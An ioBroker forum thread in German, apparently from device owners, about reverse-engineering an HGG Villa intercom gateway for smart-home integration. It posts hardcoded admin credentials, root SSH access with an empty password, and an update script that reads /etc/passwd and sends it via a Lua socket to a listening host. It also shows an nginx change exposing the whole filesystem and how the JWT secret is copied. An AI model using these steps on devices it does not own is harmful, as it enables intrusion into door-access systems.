NEWS
Einbindung Sprechanlage HGG Villa
-
Hi @flowo27,
habe das gleiche Problem. Über die Sprechanlage findet man ja leider absolut gar keine Informationen bezüglich Einbindung in self-hosted smart home Lösungen. Eine Lösung für das Problem habe ich leider (noch) nicht gefunden. Mich würde brennend interessieren, was du schon alles ausprobiert hast.Ich habe aber ein paar Sachen über dieses System herausgefunden, welche dich als Softwareentwickler vielleicht inspirieren könnten. Kenn mich leider nicht sooo gut mit dem Thema aus.
Eventuell müssen wir nicht mal den Bus anzapfen und können den Gateway (AV-Link) auch so unter Kontrolle bekommen.
Ich schreib einfach mal Funde nieder...vielleicht fällt dir (oder jemand anderem) dazu etwas ein:
Gateway Weboberfläche:
- Das Gateway ist über eine Weboberfläche konfigurierbar (user: admin, pw: admin)
- Unter "Call Setting" -> "Server Setting" kann man sehen (wenn man eingeloggt ist), welche SIP, MQTT und RTMP Server benutzt werden. Für SIP und MQTT ist der Server "de.systec-pbx.net". Beim Eintrag RTMP steht so eine URL: " rtmp://rtmp.de.systec-pbx.net/live/xxx"
- Wenn man sich hier ausloggt, kann man unter "SIP setting" und "Video" eigene SIP, MQTT und RTMP Server eintragen.
- Hier will ich noch ausprobieren, was passiert, wenn ich die URLs von self-hosted FreePBX/MQTT/RTMP Servern eintrage.
- Unter "Call Setting" -> "Server Setting" kann man sehen (wenn man eingeloggt ist), welche SIP, MQTT und RTMP Server benutzt werden. Für SIP und MQTT ist der Server "de.systec-pbx.net". Beim Eintrag RTMP steht so eine URL: " rtmp://rtmp.de.systec-pbx.net/live/xxx"
- Auf "https://de.systec-pbx.net" kann ich mich auch mit meinen Login-Daten der iLifestyle App anmelden.
- Hier scheinen aber keine besonders nützlichen Informationen zu sein. Scheint eine abgespeckte Web-Version der iLifestyle App zu sein.
- Unter "About" findet man einen nicht-funtkionierenden Link zur Android App. Der QR-Code funktioniert aber und leitet einen auf "https://tj.systec-pbx.net/r/". Interessant hier ist der Link zur .apk einer Beta-Version der iLifestyle app. Die Buttons leiten einen auf App/Play-Store um. Die .apk will ich mir auch noch genauer anschauen, ich glaube aber nicht, dass darin etwas nützliches zu finden ist.
Gateway Firmware:
- Aktuell ist mein Gateway auf Firmware-Version 2.2.0. Über die Weboberfläche habe ich unter "Maintenance" -> "Tool" einen Update-Button gefunden, mit dem ich Firmware-Updates vom PC auf das Gateway uploaden kann.
- In der Anleitung vom Gateway habe ich gelesen, dass man die FW über die App aktualisieren kann. Ich aber anscheinend leider nicht, da das erst ab FW-Version 2.3.1 funktionieren soll.
- Den Button zur Aktualisierung sehe ich aber trotzdem in der App, nur wird mir nach dem Antippen eine Netzwerk-Fehlermeldung angezeigt. Den Fehler habe ich mir dann nochmal genauer angeschaut. Mit einer App, welche ähnlich wie Wireshark funktioniert, habe ich eine weitere URL gefunden: "http://c1.systec-pbx.net/software/"
- Hier liegen einige Archive, welche unter anderem die Firmware-Updates für den AV_LINK enthalten ^^
- Das aktuellste FW scheint "update_2.3.8.tar.bz2" zu sein.
Das Interessanteste daran:
In diesem Archiv liegt der Code des Webservers, welcher auf dem Gateway/AV_Link läuft...außerdem liegen in dem Archiv auch einige lua- und shell-scripte. Zusätzlich dazu liegen dort auch noch ein paar Binaries, mit denen ich aber bis jetzt noch nichts anfangen konnte.
Ich kenne zu wenig aus, um zu wissen, ob das funktioniert...könnte man die scripte umschreiben, hochladen und sich dann darüber irgendwie root-Rechte für den SSH-Zugang beschaffen? Das könnte uns doch bestimmt weiterbringen....oder wir fangen an die binaries zu reversen ^^ - Das Gateway ist über eine Weboberfläche konfigurierbar (user: admin, pw: admin)
-
Hi @spammd ,
danke für deine Antwort.
Wir scheinen ja ziemlich alleine mit unserem Problem zu sein. Ich hätte mich damals doch für ein anderes System entscheiden sollen, aber nun ist es halt mal da.
Ich muss zugeben, dass ich noch bei weitem nicht so fleißig war wie du.
Mein Weg war es, den Support zu kontaktieren und dort ein wenig lästig zu sein, aber das war wenig erfolgreich. Das Fazit ist, dass es offiziell keine Möglichkeit gibt, weder das Gateway, noch den Bus in irgendeiner Weise mit einem Smarthomesystem zu verbinden.
Erschreckt hat mich auch, dass das auch für die Zukunft nicht geplant ist.Ich hab gestern mal ein wenig in den von dir entdeckten Scripten gestöbert, möchte aber bezweifeln, dass wir hier einen schnellen Erfolg erzielen werden. Trotzdem werd ich mir das in nächster Zeit mal in Ruhe ansehen.
Ich hab darin entdeckt, dass es außer dem von dir genannten Login in die Weboberfläche des Gateways noch zwei weitere gibt.
INSERT INTO "user" VALUES('superadmin','super1314', '0');
INSERT INTO "user" VALUES('admin','admin', '0');
INSERT INTO "user" VALUES('device','device', '1');Ich konnte gestern aber auf die Schnelle keine Vorteile entdecken, wenn ich mich als superadmin einlogge und der andere Account gehört einer anderen Gruppe an sieht weniger als der normale Admin.
Die Updates lassen sich jedenfalls von hier runter laden und problemlos installieren.
Nachdem ich noch recht neu in der ioB Welt bin, hab ich noch genug andere Sachen auf meiner todo Liste, aber ich bleib hier jedenfalls dran.
-
@flowo27 , @spammd
meine Eltern haben sich die gleiche Sprechanlage gekauft und ich habe etwas damit herumgespielt.
Root Zugriff mittels SSH ist einfach machbar, das Passwort ist leer, also einfach enter drücken. Die Zertifikate Methode dürfte aber abgelaufen sein, deswegen braucht ssh noch einen Parameter um sie zu akzeptieren:ssh -oHostKeyAlgorithms=+ssh-dss root@address
Alternativ kann man auch ein eigenes update skript bauen, dazu am besten einen der tarballs öffnen, die daten entfernen und update.sh anpassen. Es läuft busybox auf der Kiste, entsprechend sind die unterstützten Kommandos eingeschränkt. Am besten haben bei mir Kommandos in Kombination mit einem Lua Skript funktioniert:
#!/bin/sh #cat /etc/init.d/rc &> output.txt #echo -e "12345678ABC\n12345678ABC" | passwd root &> output.txt #ls -laR /etc &> output.txt #ls -laR /mnt/app >> output.txt #ls -laR /usr/sbin >> output.txt #cat /mnt/app/init.d/dropbear >> output.txt #cat /proc/mounts >> output.txt #touch /mnt/app/testfile &> output.txt #ls -laR /mnt/app >> output.txt #ln -s /mnt/app/testfile /root/testfile &> output.txt cat /etc/passwd &> output.txt lua -e "require('socket');require('io');t=socket.tcp();t:connect('192.168.178.1','9001');h=io.popen('cat ./output.txt');c=h:read('*all');t:send(c)" t:send(c);"
Mit netcat auf der Empfangsseite bekommt man dann die ausgelesenen Wert.
Weitere Info dazu hier: https://www.reddit.com/r/hacking/comments/11l9pok/gaining_ssh_access_to_chinese_doorbell_via_shell/
Wenn das hier jemandem weiterhilft um die Sprechanlage einzubinden, dann würde mich das natürlich sehr freuen davon zu erfahren.
-
Kurze Rückmeldung:
Mittlerweile bin ich auf ein Projekt gestoßen, das Firmware für diese Art von Geräten herstellt: https://openipc.org/Unter anderem auch für den speziellen verbauten Prozessor: https://openipc.org/cameras/vendors/hisilicon/socs/hi3518ev200
~ # df -h Filesystem Size Used Available Use% Mounted on /dev/root 7.9M 7.9M 0 100% / tmpfs 20.2M 4.0K 20.2M 0% /dev /dev/mtdblock3 3.0M 2.1M 892.0K 71% /mnt/app /dev/mtdblock4 2.8M 516.0K 2.3M 18% /mnt/config ~ # cat /proc/cpuinfo Processor : ARM926EJ-S rev 5 (v5l) BogoMIPS : 269.10 Features : swp half thumb fastmult edsp java CPU implementer : 0x41 CPU architecture: 5TEJ CPU variant : 0x0 CPU part : 0x926 CPU revision : 5 Hardware : hi3518ev200 Revision : 0000 Serial : 0000000000000000 ~ # free -m total used free shared buffers Mem: 40 34 6 0 3 -/+ buffers: 30 9 Swap: 0 0 0
Nun besitzt diese Sprechanlage doch einiger Funktinen mehr, als eine einfache IP Kamera, d.h. ob das der richtige Weg ist ist noch nicht klar.
Vielleicht kann man auch die Kameras direkt "abhören"? Da weiß ich aber leider noch nicht was für ein Gerät sie unter /dev sind.~ # ls /dev acodec kmsg ptmx romblock3 tty21 tty45 ttyAMA2 adec logmpp pts romblock4 tty22 tty46 ttyS000 aenc mem pwm romblock5 tty23 tty47 tw9900 ai mmz_userdev ram0 snapshot tty24 tty48 ubi_ctrl ao mtd0 ram1 spidev0.0 tty25 tty49 uinput bus mtd0ro ram10 spidev1.0 tty26 tty5 urandom button mtd1 ram11 spidev1.1 tty27 tty50 usbdev1.1 chnl mtd1ro ram12 stderr tty28 tty51 usbdev1.2 console mtd2 ram13 stdin tty29 tty52 usbdev2.1 cpu_dma_latency mtd2ro ram14 stdout tty3 tty53 vb cuse mtd3 ram15 sys tty30 tty54 vcs fd mtd3ro ram2 tty tty31 tty55 vcs1 full mtd4 ram3 tty0 tty32 tty56 vcsa fuse mtd4ro ram4 tty1 tty33 tty57 vcsa1 gpioi2c mtd5 ram5 tty10 tty34 tty58 venc h264e mtd5ro ram6 tty11 tty35 tty59 vgs hi3516cv200 mtdblock0 ram7 tty12 tty36 tty6 vi hi_mipi mtdblock1 ram8 tty13 tty37 tty60 vpss hi_tde mtdblock2 ram9 tty14 tty38 tty61 watchdog i2c-0 mtdblock3 random tty15 tty39 tty62 zero i2c-1 mtdblock4 rc tty16 tty4 tty63 i2c-2 mtdblock5 reg_cmd tty17 tty40 tty7 input network_latency rgn tty18 tty41 tty8 isp_dev network_throughput romblock0 tty19 tty42 tty9 ive null romblock1 tty2 tty43 ttyAMA0 jpege psaux romblock2 tty20 tty44 ttyAMA1
-
@drombo Hey, ich gerade 0 Freizeit, um selbst daran weiterzuarbeiten, aber hier ein paar Infos.
Also ich hab mir den Traffic damals angeschaut. Türsteuerung geht über MQTT, da läuft ein Client auf dem avlink, der die Nachricht dann per 2 Draht Bus an die Türklingel weitergibt. Die MQTT Nachrichten für Türschloss aufmachen und Kamera aktivieren kommen aus der App und laufen über deren Server, wenn du den jeweiligen Button drückst. Das Videosignal kommt über einen rtmp Stream, wie wir schon im Webinterface des avlink gesehen haben. Den Bus habe ich nicht abgehört, dafür habe ich kein Equipment.
Wenn jemand an der Tür klingelt, wird die Kamera aktiviert und Video + Klingelsignal auf dem Bus gesendet. Wenn der avlink ein Signal aufnimmt wandelt und encoded er das Videosignal für den rtmp Stream und startet einen SIP Anruf über deren Server an die App. Ein Frame wird zusätzlich noch für die verpassten Klingelversuche auf deren Server und lokal abgespeichert. Wie genau das Abläuft, weiß ich nicht. Im Web Interface gibt es ja Settings für rtmp oder P2P fürs Video. Wenn ich mich richtig erinnere, wird die SIP Verbindung WebRTC-mäßig aufgebaut mit TURN+STUN+ICE....oder so. Ob die SIP und Videoverbindung am Ende P2P oder komplett über deren Server läuft, weiß ich nicht.
Auf jeden Fall kann man jetzt hier auf 2 Wege weitermachen:
-
Reverse Engineering der Firmware + Schreiben von Open Firmware mit OpenIPC + Selbst Hosten des SIP, rtmp und MQTT Servers + images für die verpassten Klingelversuche lokal abspeichern
-
Weiterverwenden derer Lösung mit deren Server und App + draufschalten via (neuen) iobroker plugins. (ich kenn mich 0 aus mit iobroker)
Variante 2 ist viel einfacher:
- MQTT Server, SIP Server und rtmp Stream Addresse auslesen
- Traffic mitschneiden, um MQTT messages für Kamera aktivieren und Türschloss öffnen zu kopieren (u.a. für authentication header)
- Über ein zweites Handy einen neuen Account in der App erstellen und davon die Login Daten kopieren und die App wieder löschen (für SIP und MQTT Server login Daten)
In beiden Fällen muss ein plugin her, das folgendes kann:
- Tür über MQTT Befehle mit Buttons zu steuern (video ohne eingehenden Anruf aktivieren + Türöffner betätigen)
- SIP client bereitstellen, um Anrufe anzunehmen (Mikro dann über Browser am PC oder Integration mit IOS/Android permissions in einer iobroker App)
- Fenster, das den rtmp stream anzeigt integrieren
- Bilder von verpassten Klingelversuchen lokal oder von deren Server abspeichert/herunterlädt
- eine WebRTC Komponente beinhaltet, damit damit über TURN+STUN+ICE eine Verbindung aufgebaut werden kann, wenn man keine öffentliche IPv4/v6 hat (entweder zuhause hinter CGNAT oder im Mobilfunk, wo i.d.R. alle eingehenden Verbindungen ohne aktive session geblockt werden (Halbwissen))
Variante 1 wäre cooler, aber das braucht echt Zeit und Erfahrung.
Edit 1: Videosignal kommt über den TW9900...weiß nicht, ob der direkt an Spezialpins des SoC angebunden ist, oder das I2C oder UART ist und man direkt über /dev abzwacken kann.
Edit 2: Achso und wer den SPI flash auslesen will, kann das entweder über nen CH341a mit entsprechenden SOP8 Adapter machen (+1.8V Adapter) oder über den 3 Pin Stecker auf dem daughterboard ne UART Verbindung zum u-boot aufbauen und von dort den Chip auslesen. (Stecker ist ein 3 Pin Molex Picoblade, Pinout habe ich vergessen, kann man einfach nachmessen)
-
-
Hey @spammd ,
mega detaillierte Antwort, vielen Dank für die Mühe.
Ich habe mich noch ein bisschen umgeschaut und es geschafft die Sprechanlage eine Verbindung zu einem mqtt broker von mir aufbauen zu lassen (EMQX bietet einen docker container und ein JWT Plugin an https://docs.emqx.com/en/cloud/latest/deployments/jwt_auth.html )
Leider bleibt das topic stumm, ergibt aber Sinn, wenn es nur zum Empfangen der Signale vom Backend da ist.
Unter /var/www/lua/jwt.lua befindet sich das Skript, das das mega geheime Secret key für den JWT Token erzeugt. Wenn man das rauskopiert und im eigenen Broker hinterlegt, dann wird die Verbindung akzeptiert.
[mqtt_client_connect_callback mqtt-client.c:64]: mqtt connect ok
Auf der Kiste läuft busybox und dropbear, entsprechend ist das "herumschauen" etwas schwierig, aber man kann den nginx umbiegen, damit die Sprechanlage freiwillige alle files im Browser verfügbar macht:
Mit vi die /mnt/config/nginx/conf/www.http.conf um:
... } location /files/ { alias /; autoindex on; } ...
erweitern ist zwar nicht sicher, hat mir aber das leben einfacher gemacht.
Abgespeichert werden die Einstellungen in der /usr/share/avlink.db, aber die ist leider nicht wirklich sehr ergiebig.
Vielleicht kommt man über die lua Skripte in /var/www/lua/ etwas weiter:
/mnt/app/www/lua # ls -la total 66 drwxr-xr-x 2 root root 0 Nov 6 2020 . drwxr-xr-x 4 1000 1000 0 Nov 6 2020 .. -rw-r--r-- 1 root root 2086 Nov 6 2020 account.lua -rw-r--r-- 1 root root 2035 Nov 6 2020 address.lua -rw-r--r-- 1 root root 2664 Nov 6 2020 apk.lua -rw-r--r-- 1 root root 909 Nov 6 2020 application.lua -rw-r--r-- 1 root root 8279 Nov 6 2020 autoSync.lua -rw-r--r-- 1 root root 4318 Nov 6 2020 cloudDevice.lua -rw-r--r-- 1 root root 298 Nov 6 2020 common.lua -rw-r--r-- 1 root root 280 Nov 6 2020 commonSync.lua -rw-r--r-- 1 root root 2407 Nov 6 2020 device.lua -rw-r--r-- 1 root root 677 Nov 6 2020 elock.lua -rw-r--r-- 1 root root 988 Nov 6 2020 jwt.lua -rw-r--r-- 1 root root 574 Nov 6 2020 key.lua -rw-r--r-- 1 root root 2670 Nov 6 2020 login.lua -rw-r--r-- 1 root root 806 Nov 6 2020 mac.lua -rw-r--r-- 1 root root 5537 Nov 6 2020 network.lua -rw-r--r-- 1 root root 2017 Nov 6 2020 p2p.lua -rw-r--r-- 1 root root 2053 Nov 6 2020 parameter.lua -rw-r--r-- 1 root root 1745 Nov 6 2020 password.lua -rw-r--r-- 1 root root 89 Nov 6 2020 reboot.lua -rw-r--r-- 1 root root 2056 Nov 6 2020 relay.lua -rw-r--r-- 1 root root 2519 Nov 6 2020 sip.lua -rw-r--r-- 1 root root 878 Nov 6 2020 system.lua -rw-r--r-- 1 root root 1681 Nov 6 2020 test.lua -rw-r--r-- 1 root root 1685 Nov 6 2020 upload.lua -rw-r--r-- 1 root root 2067 Nov 6 2020 userKey.lua -rw-r--r-- 1 root root 896 Nov 6 2020 verify.lua -rw-r--r-- 1 root root 2346 Nov 6 2020 video.lua -rw-r--r-- 1 root root 2152 Nov 6 2020 wifi.lua -rw-r--r-- 1 root root 2519 Nov 6 2020 wifilist.lua
-
@drombo Bei dem Webserver Zeug gibts iirc nicht viel zu finden. Das wichtigste ist in der SQLite DB. Ohne den Traffic mit Wireshark mitzuschneiden wirst du nicht viel mehr rausfinden. Ich habs so gemacht, dass ich avlink und Handy mit nem wifi-stick verbunden hab und auf dem PC dann halt wireshark laufen hatte. (Handy war ein altes mit Android 6, da da glaub TLS interception noch ziemlich easy war)
Wenn du dich bei der App registrierst, bekommst du Login Daten für den MQTT Server und SIP Server (also innerhalb der App). Wenn du dann den avlink hinzufügst werden einfach diese Daten auf ihn übertragen bzw. holt der sich einen eigenen SIP account von deren Server. Das MQTT Topic war glaube ich die MAC-Adresse des avlink. Die genauen Messages weiß ich nicht mehr.
Aber Hauptaufgabe erledigen auf dem avlink 2 oder 3 binaries. Die schreiben glaube ich auch logs...entweder auf stdout oder in ne temporäre Datei...evtl. musste man die auch manuell starten, damit sie das tun....ich weiß es nicht mehr.
-
Habt ihr denn hier noch weiteres herausgefunden?
Ich finde die Anlage gut gelungen, eine Integration in iob oder anderes wäre klasse.Leider bin ich selbst technisch meilenweit von der Umsetzbarkeit entfernt
-
Hallo Freunde,
zuerst einmal vielen Dank für all die Informationen, die ihr gesammelt, und von denen ihr hier berichtet habt. Hut ab vor eurem Wissen und Können!Bei meiner vorherigen TCS Sprechanlage benutzte ich die Fritzbox als SIP-Server und das FritzPhone, oder schnurlose Dect-Telefone als mobile Sprechstellen. Doch das ist leider mit der Villa-Anlage nicht möglich, weswegen ich auf der Suche nach Erweiterungen oder einer alternativen Firmware bin.
Eure Beiträge haben mich diesem Ziel schon sehr viel näher gebracht. Ich kann mich nun direkt in die Türsprechstelle einloggen, und mit diesem neuen Wissen habe ich mit den Begriffen „Doorbell ARM926EJ-S“ im Internet weitere interessante Seiten gefunden.
Eine der interessanten Seiten ist diese hier: https://github.com/phpcoder/doorbell-customize
Vielleicht bringt sie auch euch euren Zielen näher.
Gruß, Börnie -
Auch bei mir bestünde Interesse an einer Möglichkeit, den Videostream von meinem bestehenden Gesichtserkennungsterminal (HHG VILLA AP 1 AS FI) in meiner IOBroker-Visualisierung anzuzeigen. Idealerweise würde das Gateway eine URL zur Verfügung stellen, die in einem Widget eingefügt werden könnte.
Bei HomeAssistant scheint es hier bereits eine Möglichkeit zu geben, obwohl es ein anderes Gateway zu sein scheint:
https://github.com/timniklas/hass-ilifestyleFür mein Terminal wird wohl das Villa AV-Link Gateway notwendig sein. Wahrscheinlich wird vieles ähnlich sein.
Doch ein Kauf des GWs macht für mich erst dann Sinn, wenn ich dies in den IOBroker einbinden kann. Die Cloud-Zwänge sind heute extrem lästig geworden. Und zudem sind dies sicherheitsrelevante Projekte, die meiner Meinung nach das interne Netzwerk nicht verlassen sollten (Türöffnung).Wie gross ist denn die Wahrscheinlichkeit, ohne grosses Umflashen zu einer Lösung zu kommen?